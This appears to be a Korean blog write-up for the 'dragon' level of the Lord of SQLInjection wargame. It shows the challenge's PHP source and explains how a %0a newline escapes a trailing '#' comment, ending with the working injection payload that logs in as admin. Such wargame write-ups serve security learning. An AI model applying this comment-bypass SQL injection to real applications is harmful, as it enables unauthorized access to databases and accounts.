LOS #20 dragon

2020. 10. 28. 23:03
728x90
728x90
728x90
 

Lord of SQLInjection

 

los.rubiya.kr

Source code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

 

Query

select id from prob_dragon where id='guest'# and pw=''

 

Write-up

[사진 1]

위 사진에서 확인할 수 있는 정보는 다음과 같다.

  • 파라미터는 pw 1개가 사용될 수 있다.

  • 쿼리문을 보면 id 값 뒤에 "#" 주석이 붙어 있다.

마지막 if문을 보면 id 값이 'admin'일 때 문제가 풀린다. 하지만 쿼리문에서 id 값이 'guest'로 고정되어 있고 주석이 있기 때문에 pw 값에 "' or id='admin'" 값을 전달해도 주석처리 되버린다. 기본적으로 쿼리는 세미콜론을 만날 때까지 수행되는데 주석으로 인해 "and pw=''" 구문이 무시되고 있는 상태이다. 이 때 개행 처리를 통해 2번째 line에 추가 쿼리문을 작성할 수 있다.

 

* ascii code 개행 처리 %0a

 

ASCII - 위키백과, 우리 모두의 백과사전

위키백과, 우리 모두의 백과사전. 1972 프린터 사용 설명서에 개시된 아스키 코드 차트표 미국정보교환표준부호(영어: American Standard Code for Information Interchange), 또는 줄여서 ASCII( , 아스키)는 영문

ko.wikipedia.org

 

[사진 2]

먼저, 빨간색 박스에서 id 값으로 'guest'를 전달하고 첫 번쨰 line에서 주석처리를 하였다. 주석으로 인해 첫 번째 line의 세미콜론은 무력화되기 때문에 두 번째 line을 입력해야 한다. 이 때 'guest' id에 해당하는 pw 값을 전달해주니 select가 성공하는 것을 확인할 수 있다. 주석으로 인해 전달되는 쿼리문은 다음과 같다.

select id from prob_dragon where id='guest' and pw='qwer1234';

파란색 박스에서는 빨간색 박스와 다르게 'guest' id에 해당하는 pw 값을 입력하지 않았다. select 결과가 없음을 확인할 수 있고, 주석으로 인해 전달되는 쿼리문은 다음과 같다.

select id from prob_dragon where id='guest' and pw='';

초록색 박스에서는 'guest' id에 해당하는 pw 값을 입력하지 않음으로써 거짓으로 만들고 or 명령어로 id가 'admin'일 때의 결과를 select 한다. 쿼리문은 다음과 같다.

select id from prob_dragon where id='guest' and pw='' or id='admin';

 

Parameter

pw=' %0a and pw='' or id='admin

쿼리문은 다음과 같다. %0a로 인해 개행 처리가 된다.

select id from prob_dragon where id='guest'# and pw='' %0a and pw='' or id='admin'

 

Success

[사진 3]

728x90
728x90

'Wargame > LOS' 카테고리의 다른 글

LOS #22 dark_eyes  (0) 2020.12.09
LOS #21 iron_golem  (0) 2020.12.08
LOS #19 xavis  (0) 2020.10.28
LOS #18 nightmare  (0) 2020.10.28
LOS #17 zombie_assassin  (0) 2020.10.28

+ Recent posts